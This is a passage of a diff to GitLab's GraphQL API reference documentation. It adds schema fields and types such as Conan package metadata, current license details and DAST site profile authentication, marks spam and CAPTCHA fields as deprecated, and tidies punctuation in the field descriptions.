`CiJobArtifact` @@ -1235,6 +1303,7 @@ The connection type for CiJob. | Field | Type | Description | | ----- | ---- | ----------- | +| `count` | [`Int!`](#int) | Total count of collection. | | `edges` | [`[CiJobEdge]`](#cijobedge) | A list of edges. | | `nodes` | [`[CiJob]`](#cijob) | A list of nodes. | | `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | @@ -1254,6 +1323,7 @@ An edge in a connection. | ----- | ---- | ----------- | | `detailedStatus` | [`DetailedStatus`](#detailedstatus) | Detailed status of the stage. | | `groups` | [`CiGroupConnection`](#cigroupconnection) | Group of jobs for the stage. | +| `jobs` | [`CiJobConnection`](#cijobconnection) | Jobs for the stage. | | `name` | [`String`](#string) | Name of the stage. | ### `CiStageConnection` @@ -1326,6 +1396,7 @@ An edge in a connection. | `createdByUser` | [`User`](#user) | The user who created the token. | | `description` | [`String`](#string) | Description of the token. | | `id` | [`ClustersAgentTokenID!`](#clustersagenttokenid) | Global ID of the token. | +| `lastUsedAt` | [`Time`](#time) | Timestamp the token was last used. | | `name` | [`String`](#string) | Name given to the token. | ### `ClusterAgentTokenConnection` @@ -1417,7 +1488,7 @@ Represents the code coverage summary for a project. | `authorName` | [`String`](#string) | Commit authors name. | | `authoredDate` | [`Time`](#time) | Timestamp of when the commit was authored. | | `description` | [`String`](#string) | Description of the commit message. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `id` | [`ID!`](#id) | ID (global ID) of the commit. | | `message` | [`String`](#string) | Raw commit message. | | `pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines of the commit ordered latest first. | @@ -1425,7 +1496,7 @@ Represents the code coverage summary for a project. | `shortId` | [`String!`](#string) | Short SHA1 ID of the commit. | | `signatureHtml` | [`String`](#string) | Rendered HTML of the commit signature. | | `title` | [`String`](#string) | Title of the commit message. | -| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` | +| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | | `webPath` | [`String!`](#string) | Web path of the commit. | | `webUrl` | [`String!`](#string) | Web URL of the commit. | @@ -1498,6 +1569,34 @@ Composer metadata. | `composerJson` | [`PackageComposerJsonType!`](#packagecomposerjsontype) | Data of the Composer JSON file. | | `targetSha` | [`String!`](#string) | Target SHA of the package. | +### `ConanFileMetadata` + +Conan file metadata. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `conanFileType` | [`ConanMetadatumFileTypeEnum!`](#conanmetadatumfiletypeenum) | Type of the Conan file. | +| `conanPackageReference` | [`String`](#string) | Reference of the Conan package. | +| `createdAt` | [`Time!`](#time) | Date of creation. | +| `id` | [`PackagesConanFileMetadatumID!`](#packagesconanfilemetadatumid) | ID of the metadatum. | +| `packageRevision` | [`String`](#string) | Revision of the package. | +| `recipeRevision` | [`String!`](#string) | Revision of the Conan recipe. | +| `updatedAt` | [`Time!`](#time) | Date of most recent update. | + +### `ConanMetadata` + +Conan metadata. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | [`Time!`](#time) | Date of creation. | +| `id` | [`PackagesConanMetadatumID!`](#packagesconanmetadatumid) | ID of the metadatum. | +| `packageChannel` | [`String!`](#string) | Channel of the Conan package. | +| `packageUsername` | [`String!`](#string) | Username of the Conan package. | +| `recipe` | [`String!`](#string) | Recipe of the Conan package. | +| `recipePath` | [`String!`](#string) | Recipe path of the Conan package. | +| `updatedAt` | [`Time!`](#time) | Date of most recent update. | + ### `ConfigureSastPayload` Autogenerated return type of ConfigureSast. @@ -1776,13 +1875,13 @@ Autogenerated return type of CreateSnippet. | Field | Type | Description | | ----- | ---- | ----------- | -| `captchaSiteKey` | [`String`](#string) | The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | +| `captchaSiteKey` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| `needsCaptchaResponse` | [`Boolean`](#boolean) | Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | +| `needsCaptchaResponse` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | | `snippet` | [`Snippet`](#snippet) | The snippet after mutation. | -| `spam` | [`Boolean`](#boolean) | Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response. | -| `spamLogId` | [`Int`](#int) | The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | +| `spam` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | +| `spamLogId` **{warning-solid}** | [`Int`](#int) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | ### `CreateTestCasePayload` @@ -1794,6 +1893,27 @@ Autogenerated return type of CreateTestCase. | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | `testCase` | [`Issue`](#issue) | The test case created. | +### `CurrentLicense` + +Represents the current license. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `activatedAt` | [`Date`](#date) | Date when the license was activated. | +| `billableUsersCount` | [`Int`](#int) | Number of billable users on the system. | +| `company` | [`String`](#string) | Company of the licensee. | +| `email` | [`String`](#string) | Email of the licensee. | +| `expiresAt` | [`Date`](#date) | Date when the license expires. | +| `id` | [`ID!`](#id) | ID of the license. | +| `lastSync` | [`Time`](#time) | Date when the license was last synced. | +| `maximumUserCount` | [`Int`](#int) | Highest number of billable users on the system during the term of the current license. | +| `name` | [`String`](#string) | Name of the licensee. | +| `plan` | [`String!`](#string) | Name of the subscription plan. | +| `startsAt` | [`Date`](#date) | Date when the license started. | +| `type` | [`String!`](#string) | Type of the license. | +| `usersInLicenseCount` | [`Int`](#int) | Number of paid users in the license. | +| `usersOverLicenseCount` | [`Int`](#int) | Number of users over the paid users in the license. | + ### `CustomEmoji` A custom emoji uploaded by user. @@ -1840,7 +1960,7 @@ Represents a DAST Profile. | Field | Type | Description | | ----- | ---- | ----------- | -| `branch` | [`DastProfileBranch`](#dastprofilebranch) | The associated branch. Will always return `null` if `dast_branch_selection` feature flag is disabled. | +| `branch` | [`DastProfileBranch`](#dastprofilebranch) | The associated branch. | | `dastScannerProfile` | [`DastScannerProfile`](#dastscannerprofile) | The associated scanner profile. | | `dastSiteProfile` | [`DastSiteProfile`](#dastsiteprofile) | The associated site profile. | | `description` | [`String`](#string) | The description of the scan. | @@ -1924,7 +2044,7 @@ Represents a DAST scanner profile. | Field | Type | Description | | ----- | ---- | ----------- | | `editPath` | [`String`](#string) | Relative web path to the edit page of a scanner profile. | -| `globalId` **{warning-solid}** | [`DastScannerProfileID!`](#dastscannerprofileid) | **Deprecated:** Use `id`. Deprecated in 13.6. | +| `globalId` **{warning-solid}** | [`DastScannerProfileID!`](#dastscannerprofileid) | **Deprecated** in 13.6. Use `id`. | | `id` | [`DastScannerProfileID!`](#dastscannerprofileid) | ID of the DAST scanner profile. | | `profileName` | [`String`](#string) | Name of the DAST scanner profile. | | `referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. | @@ -1952,7 +2072,7 @@ Autogenerated return type of DastScannerProfileCreate. | ----- | ---- | ----------- | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| `globalId` **{warning-solid}** | [`DastScannerProfileID`](#dastscannerprofileid) | **Deprecated:** Use `id`. Deprecated in 13.6. | +| `globalId` **{warning-solid}** | [`DastScannerProfileID`](#dastscannerprofileid) | **Deprecated** in 13.6. Use `id`. | | `id` | [`DastScannerProfileID`](#dastscannerprofileid) | ID of the scanner profile. | ### `DastScannerProfileDeletePayload` @@ -1989,15 +2109,32 @@ Represents a DAST Site Profile. | Field | Type | Description | | ----- | ---- | ----------- | +| `auth` | [`DastSiteProfileAuth`](#dastsiteprofileauth) | Target authentication details. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. | | `editPath` | [`String`](#string) | Relative web path to the edit page of a site profile. | +| `excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. | | `id` | [`DastSiteProfileID!`](#dastsiteprofileid) | ID of the site profile. | | `normalizedTargetUrl` | [`String`](#string) | Normalized URL of the target to be scanned. | | `profileName` | [`String`](#string) | The name of the site profile. | | `referencedInSecurityPolicies` | [`[String!]`](#string) | List of security policy names that are referencing given project. | +| `requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will always return `null` if `security_dast_site_profiles_additional_fields` feature flag is disabled. | +| `targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will always return `null` if `security_dast_site_profiles_api_option` feature flag is disabled. | | `targetUrl` | [`String`](#string) | The URL of the target to be scanned. | -| `userPermissions` | [`DastSiteProfilePermissions!`](#dastsiteprofilepermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`DastSiteProfilePermissions!`](#dastsiteprofilepermissions) | Permissions for the current user on the resource. | | `validationStatus` | [`DastSiteProfileValidationStatusEnum`](#dastsiteprofilevalidationstatusenum) | The current validation status of the site profile. | +### `DastSiteProfileAuth` + +Input type for DastSiteProfile authentication. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `enabled` | [`Boolean`](#boolean) | Indicates whether authentication is enabled. | +| `password` | [`String`](#string) | Redacted password to authenticate with on the target website. | +| `passwordField` | [`String`](#string) | The name of password field at the sign-in HTML form. | +| `url` | [`String`](#string) | The URL of the page containing the sign-in HTML form on the target website. | +| `username` | [`String`](#string) | The username to authenticate with on the target website. | +| `usernameField` | [`String`](#string) | The name of username field at the sign-in HTML form. | + ### `DastSiteProfileConnection` The connection type for DastSiteProfile. @@ -2042,7 +2179,7 @@ Check permissions for the current user on site profile. | Field | Type | Description | | ----- | ---- | ----------- | -| `createOnDemandDastScan` | [`Boolean!`](#boolean) | Indicates the user can perform `create_on_demand_dast_scan` on this resource | +| `createOnDemandDastScan` | [`Boolean!`](#boolean) | Indicates the user can perform `create_on_demand_dast_scan` on this resource. | ### `DastSiteProfileUpdatePayload` @@ -2157,7 +2294,7 @@ A single design. | `fullPath` | [`String!`](#string) | The full path to the design file. | | `id` | [`ID!`](#id) | The ID of this design. | | `image` | [`String!`](#string) | The URL of the full-sized image. | -| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated | +| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated. | | `issue` | [`Issue!`](#issue) | The issue the design belongs to. | | `notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. | | `notesCount` | [`Int!`](#int) | The total count of user-created notes for this design. | @@ -2177,7 +2314,7 @@ A design pinned to a specific version. The image field reflects the design as of | `fullPath` | [`String!`](#string) | The full path to the design file. | | `id` | [`ID!`](#id) | The ID of this design. | | `image` | [`String!`](#string) | The URL of the full-sized image. | -| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated | +| `imageV432x230` | [`String`](#string) | The URL of the design resized to fit within the bounds of 432x230. This will be `null` if the image has not been generated. | | `issue` | [`Issue!`](#issue) | The issue the design belongs to. | | `notesCount` | [`Int!`](#int) | The total count of user-created notes for this design. | | `project` | [`Project!`](#project) | The project the design belongs to. | @@ -2272,7 +2409,7 @@ Autogenerated return type of DesignManagementUpload. | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `designs` | [`[Design!]!`](#design) | The designs that were uploaded by the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| `skippedDesigns` | [`[Design!]!`](#design) | Any designs that were skipped from the upload due to there being no change to their content since their last version | +| `skippedDesigns` | [`[Design!]!`](#design) | Any designs that were skipped from the upload due to there being no change to their content since their last version. | ### `DesignVersion` @@ -2354,6 +2491,16 @@ Autogenerated return type of DestroyContainerRepositoryTags. | `deletedTagNames` | [`[String!]!`](#string) | Deleted container repository tags. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +### `DestroyEpicBoardPayload` + +Autogenerated return type of DestroyEpicBoard. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| `epicBoard` | [`EpicBoard`](#epicboard) | Epic board after mutation. | +| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | + ### `DestroyNotePayload` Autogenerated return type of DestroyNote. @@ -2588,6 +2735,7 @@ Represents an epic. | `descendantCounts` | [`EpicDescendantCount`](#epicdescendantcount) | Number of open and closed descendant epics and issues. | | `descendantWeightSum` | [`EpicDescendantWeights`](#epicdescendantweights) | Total weight of open and closed issues in the epic and its descendants. | | `description` | [`String`](#string) | Description of the epic. | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. | | `downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. | | `dueDate` | [`Time`](#time) | Due date of the epic. | @@ -2617,11 +2765,12 @@ Represents an epic. | `state` | [`EpicState!`](#epicstate) | State of the epic. | | `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the epic. | | `title` | [`String`](#string) | Title of the epic. | +| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | | `updatedAt` | [`Time`](#time) | Timestamp of when the epic was updated. | | `upvotes` | [`Int!`](#int) | Number of upvotes the epic has received. | | `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the epic. | | `userNotesCount` | [`Int!`](#int) | Number of user notes of the epic. | -| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`EpicPermissions!`](#epicpermissions) | Permissions for the current user on the resource. | | `webPath` | [`String!`](#string) | Web path of the epic. | | `webUrl` | [`String!`](#string) | Web URL of the epic. | @@ -2767,7 +2916,7 @@ Relationship between an epic and an issue. | `createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | | `currentUserTodos` | [`TodoConnection!`](#todoconnection) | To-do items for the current user. | | `description` | [`String`](#string) | Description of the issue. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `designCollection` | [`DesignCollection`](#designcollection) | Collection of design images associated with this issue. | | `discussionLocked` | [`Boolean!`](#boolean) | Indicates discussion is locked on the issue. | | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. | @@ -2799,8 +2948,9 @@ Relationship between an epic and an issue. | `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the issue. | | `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Task completion status of the issue. | | `timeEstimate` | [`Int!`](#int) | Time estimate of the issue. | +| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the issue. | | `title` | [`String!`](#string) | Title of the issue. | -| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` | +| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | | `totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the issue. | | `type` | [`IssueType`](#issuetype) | Type of the issue. | | `updatedAt` | [`Time!`](#time) | Timestamp of when the issue was last updated. | @@ -2808,7 +2958,7 @@ Relationship between an epic and an issue. | `upvotes` | [`Int!`](#int) | Number of upvotes the issue has received. | | `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the issue. | | `userNotesCount` | [`Int!`](#int) | Number of user notes of the issue. | -| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource. | | `webPath` | [`String!`](#string) | Web path of the issue. | | `webUrl` | [`String!`](#string) | Web URL of the issue. | | `weight` | [`Int`](#int) | Weight of the issue. | @@ -2883,14 +3033,14 @@ Check permissions for the current user on an epic. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_epic` on this resource | -| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource | -| `createEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `create_epic` on this resource | -| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource | -| `destroyEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_epic` on this resource | -| `readEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic` on this resource | -| `readEpicIid` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic_iid` on this resource | -| `updateEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `update_epic` on this resource | +| `adminEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_epic` on this resource. | +| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource. | +| `createEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `create_epic` on this resource. | +| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. | +| `destroyEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_epic` on this resource. | +| `readEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic` on this resource. | +| `readEpicIid` | [`Boolean!`](#boolean) | Indicates the user can perform `read_epic_iid` on this resource. | +| `updateEpic` | [`Boolean!`](#boolean) | Indicates the user can perform `update_epic` on this resource. | ### `EpicSetSubscriptionPayload` @@ -2979,6 +3129,7 @@ Represents an external issue. | `minimumReverificationInterval` | [`Int`](#int) | The interval (in days) in which the repository verification is valid. Once expired, it will be reverified. | | `name` | [`String`](#string) | The unique identifier for this Geo node. | | `packageFileRegistries` | [`PackageFileRegistryConnection`](#packagefileregistryconnection) | Package file registries of the GeoNode. | +| `pipelineArtifactRegistries` | [`PipelineArtifactRegistryConnection`](#pipelineartifactregistryconnection) | Find pipeline artifact registries on this Geo node. | | `primary` | [`Boolean`](#boolean) | Indicates whether this Geo node is the primary. | | `reposMaxCapacity` | [`Int`](#int) | The maximum concurrency of repository backfill for this secondary node. | | `selectiveSyncNamespaces` | [`NamespaceConnection`](#namespaceconnection) | The namespaces that should be synced, if `selective_sync_type` == `namespaces`. | @@ -2998,6 +3149,7 @@ Autogenerated return type of GitlabSubscriptionActivate. | ----- | ---- | ----------- | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| `license` | [`CurrentLicense`](#currentlicense) | The current license. | ### `GrafanaIntegration` @@ -3017,6 +3169,7 @@ Autogenerated return type of GitlabSubscriptionActivate. | `additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. | | `autoDevopsEnabled` | [`Boolean`](#boolean) | Indicates whether Auto DevOps is enabled for all projects within this group. | | `avatarUrl` | [`String`](#string) | Avatar URL of the group. | +| `billableMembersCount` | [`Int`](#int) | The number of billable users in the group. | | `board` | [`Board`](#board) | A single board of the group. | | `boards` | [`BoardConnection`](#boardconnection) | Boards of the group. | | `codeCoverageActivities` | [`CodeCoverageActivityConnection`](#codecoverageactivityconnection) | Represents the code coverage activity for this group. | @@ -3026,17 +3179,16 @@ Autogenerated return type of GitlabSubscriptionActivate. | `containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. | | `customEmoji` | [`CustomEmojiConnection`](#customemojiconnection) | Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled. | | `description` | [`String`](#string) | Description of the namespace. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `emailsDisabled` | [`Boolean`](#boolean) | Indicates if a group has email notifications disabled. | | `epic` | [`Epic`](#epic) | Find a single epic. | | `epicBoard` | [`EpicBoard`](#epicboard) | Find a single epic board. | | `epicBoards` | [`EpicBoardConnection`](#epicboardconnection) | Find epic boards. | | `epics` | [`EpicConnection`](#epicconnection) | Find epics. | -| `epicsEnabled` | [`Boolean`](#boolean) | Indicates if Epics are enabled for namespace | +| `epicsEnabled` | [`Boolean`](#boolean) | Indicates if Epics are enabled for namespace. | | `fullName` | [`String!`](#string) | Full name of the namespace. | | `fullPath` | [`ID!`](#id) | Full path of the namespace. | | `groupMembers` | [`GroupMemberConnection`](#groupmemberconnection) | A membership of a user within this group. | -| `groupTimelogsEnabled` | [`Boolean`](#boolean) | Indicates if Group timelogs are enabled for namespace | | `id` | [`ID!`](#id) | ID of the namespace. | | `isTemporaryStorageIncreaseEnabled` | [`Boolean!`](#boolean) | Status of the temporary storage increase. | | `issues` | [`IssueConnection`](#issueconnection) | Issues for projects in this group. | @@ -3064,15 +3216,15 @@ Autogenerated return type of GitlabSubscriptionActivate. | `storageSizeLimit` | [`Float`](#float) | Total storage limit of the root namespace in bytes. | | `subgroupCreationLevel` | [`String`](#string) | The permission level required to create subgroups within the group. | | `temporaryStorageIncreaseEndsOn` | [`Time`](#time) | Date until the temporary storage increase is active. | -| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Time logged in issues by group members. | +| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Time logged on issues in the group and its subgroups. | | `totalRepositorySize` | [`Float`](#float) | Total repository size of all projects in the root namespace in bytes. | | `totalRepositorySizeExcess` | [`Float`](#float) | Total excess repository size of all projects in the root namespace in bytes. | | `twoFactorGracePeriod` | [`Int`](#int) | Time before two-factor authentication is enforced. | -| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource. | | `visibility` | [`String`](#string) | Visibility of the namespace. | | `vulnerabilities` | [`VulnerabilityConnection`](#vulnerabilityconnection) | Vulnerabilities reported on the projects in the group and its subgroups. | | `vulnerabilitiesCountByDay` | [`VulnerabilitiesCountByDayConnection`](#vulnerabilitiescountbydayconnection) | Number of vulnerabilities per day for the projects in the group and its subgroups. | -| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection) | **Deprecated:** Use `vulnerabilitiesCountByDay`. Deprecated in 13.3. | +| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection) | **Deprecated** in 13.3. Use `vulnerabilitiesCountByDay`. | | `vulnerabilityGrades` | [`[VulnerableProjectsByGrade!]!`](#vulnerableprojectsbygrade) | Represents vulnerable project counts for each grade. | | `vulnerabilityScanners` | [`VulnerabilityScannerConnection`](#vulnerabilityscannerconnection) | Vulnerability scanners reported on the project vulnerabilities of the group and its subgroups. | | `vulnerabilitySeveritiesCount` | [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount) | Counts for each vulnerability severity in the group and its subgroups. | @@ -3092,7 +3244,7 @@ Represents a Group Membership. | `id` | [`ID!`](#id) | ID of the member. | | `updatedAt` | [`Time`](#time) | Date and time the membership was last updated. | | `user` | [`User!`](#user) | User that is associated with the member object. | -| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`GroupPermissions!`](#grouppermissions) | Permissions for the current user on the resource. | ### `GroupMemberConnection` @@ -3117,7 +3269,7 @@ An edge in a connection. | Field | Type | Description | | ----- | ---- | ----------- | -| `readGroup` | [`Boolean!`](#boolean) | Indicates the user can perform `read_group` on this resource | +| `readGroup` | [`Boolean!`](#boolean) | Indicates the user can perform `read_group` on this resource. | ### `GroupReleaseStats` @@ -3125,8 +3277,8 @@ Contains release-related statistics about a group. | Field | Type | Description | | ----- | ---- | ----------- | -| `releasesCount` | [`Int`](#int) | Total number of releases in all descendant projects of the group. Will always return `null` if `group_level_release_statistics` feature flag is disabled | -| `releasesPercentage` | [`Int`](#int) | Percentage of the group's descendant projects that have at least one release. Will always return `null` if `group_level_release_statistics` feature flag is disabled | +| `releasesCount` | [`Int`](#int) | Total number of releases in all descendant projects of the group. Will always return `null` if `group_level_release_statistics` feature flag is disabled. | +| `releasesPercentage` | [`Int`](#int) | Percentage of the group's descendant projects that have at least one release. Will always return `null` if `group_level_release_statistics` feature flag is disabled. | ### `GroupStats` @@ -3142,14 +3294,14 @@ Represents the Geo sync and verification state of a group wiki repository. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | [`Time`](#time) | Timestamp when the GroupWikiRepositoryRegistry was created | +| `createdAt` | [`Time`](#time) | Timestamp when the GroupWikiRepositoryRegistry was created. | | `groupWikiRepositoryId` | [`ID!`](#id) | ID of the Group Wiki Repository. | -| `id` | [`ID!`](#id) | ID of the GroupWikiRepositoryRegistry | -| `lastSyncFailure` | [`String`](#string) | Error message during sync of the GroupWikiRepositoryRegistry | -| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the GroupWikiRepositoryRegistry | -| `retryAt` | [`Time`](#time) | Timestamp after which the GroupWikiRepositoryRegistry should be resynced | -| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the GroupWikiRepositoryRegistry | -| `state` | [`RegistryState`](#registrystate) | Sync state of the GroupWikiRepositoryRegistry | +| `id` | [`ID!`](#id) | ID of the GroupWikiRepositoryRegistry. | +| `lastSyncFailure` | [`String`](#string) | Error message during sync of the GroupWikiRepositoryRegistry. | +| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the GroupWikiRepositoryRegistry. | +| `retryAt` | [`Time`](#time) | Timestamp after which the GroupWikiRepositoryRegistry should be resynced. | +| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the GroupWikiRepositoryRegistry. | +| `state` | [`RegistryState`](#registrystate) | Sync state of the GroupWikiRepositoryRegistry. | ### `GroupWikiRepositoryRegistryConnection` @@ -3254,6 +3406,7 @@ Describes an incident management on-call schedule. | `description` | [`String`](#string) | Description of the on-call schedule. | | `iid` | [`ID!`](#id) | Internal ID of the on-call schedule. | | `name` | [`String!`](#string) | Name of the on-call schedule. | +| `rotation` | [`IncidentManagementOncallRotation`](#incidentmanagementoncallrotation) | On-call rotation for the on-call schedule. | | `rotations` | [`IncidentManagementOncallRotationConnection!`](#incidentmanagementoncallrotationconnection) | On-call rotations for the on-call schedule. | | `timezone` | [`String!`](#string) | Time zone of the on-call schedule. | @@ -3330,7 +3483,7 @@ An edge in a connection. | `createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | | `currentUserTodos` | [`TodoConnection!`](#todoconnection) | To-do items for the current user. | | `description` | [`String`](#string) | Description of the issue. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `designCollection` | [`DesignCollection`](#designcollection) | Collection of design images associated with this issue. | | `discussionLocked` | [`Boolean!`](#boolean) | Indicates discussion is locked on the issue. | | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. | @@ -3360,8 +3513,9 @@ An edge in a connection. | `subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the issue. | | `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Task completion status of the issue. | | `timeEstimate` | [`Int!`](#int) | Time estimate of the issue. | +| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the issue. | | `title` | [`String!`](#string) | Title of the issue. | -| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` | +| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | | `totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the issue. | | `type` | [`IssueType`](#issuetype) | Type of the issue. | | `updatedAt` | [`Time!`](#time) | Timestamp of when the issue was last updated. | @@ -3369,7 +3523,7 @@ An edge in a connection. | `upvotes` | [`Int!`](#int) | Number of upvotes the issue has received. | | `userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the issue. | | `userNotesCount` | [`Int!`](#int) | Number of user notes of the issue. | -| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`IssuePermissions!`](#issuepermissions) | Permissions for the current user on the resource. | | `webPath` | [`String!`](#string) | Web path of the issue. | | `webUrl` | [`String!`](#string) | Web URL of the issue. | | `weight` | [`Int`](#int) | Weight of the issue. | @@ -3421,14 +3575,14 @@ Check permissions for the current user on a issue. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_issue` on this resource | -| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource | -| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource | -| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource | -| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource | -| 